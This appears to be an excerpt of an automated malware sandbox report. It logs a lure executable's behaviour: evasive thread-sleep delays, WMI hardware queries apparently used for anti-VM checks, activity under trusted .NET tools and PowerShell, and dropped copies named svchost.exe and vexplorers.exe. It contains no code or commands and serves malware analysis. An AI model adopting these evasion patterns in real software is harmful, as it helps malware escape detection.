Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -95651s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -95528s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -95407s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -95297s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -95183s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -94986s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -593306s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -593178s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99555s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99448s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99219s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -98984s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -98875s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8248	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep count: 33 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -30437127721620741s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8376	Thread sleep count: 6495 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -599890s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -599704s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -599477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -599349s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -599078s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -598953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -598774s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99732s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99625s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8376	Thread sleep count: 3120 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99516s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99391s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99266s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99156s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99047s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -98937s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -98828s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -98708s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -98578s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -98468s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -98359s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -98250s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -98140s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -98031s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -97922s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -97812s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -97700s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -97578s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -97468s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -97346s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -97219s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -97109s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96980s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96859s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96750s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96634s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96516s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96406s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96297s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96121s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96013s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95891s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95766s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95656s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95543s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95432s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -594000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -593873s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99869s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99741s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99606s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99464s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99332s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99174s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -99034s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -98266s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96808s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96664s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96500s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96368s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -96155s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95961s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95824s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95655s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95524s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95386s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95261s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95148s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -95029s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -94919s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -94802s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -94675s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 8372	Thread sleep time: -94555s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8888	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8868	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep count: 36 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -33204139332677172s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8984	Thread sleep count: 6268 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -599838s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -599709s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -599567s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -599429s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -599216s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -599023s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -598886s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -598717s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99876s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99750s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99613s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99484s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99322s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99192s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99064s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98945s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98828s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98716s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98593s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8984	Thread sleep count: 3487 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98484s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98374s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98265s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98144s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98027s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -97901s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -97781s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -97671s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -97561s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -97453s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -97343s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -97233s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -97125s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -97015s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -96906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -96796s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -96687s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -96578s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -96468s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -96359s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -96250s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -96140s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -96030s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -95921s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -95812s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -95702s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -95588s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99844s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99734s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99625s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99516s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99403s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99282s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99156s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -99046s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98938s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98813s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98688s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 8956	Thread sleep time: -98438s >= -30000s
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe TID: 9040	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe TID: 8204	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594271
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594126
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593856
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593275
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592584
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99871
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99336
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99087
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97299
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96636
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96524
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96415
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95140
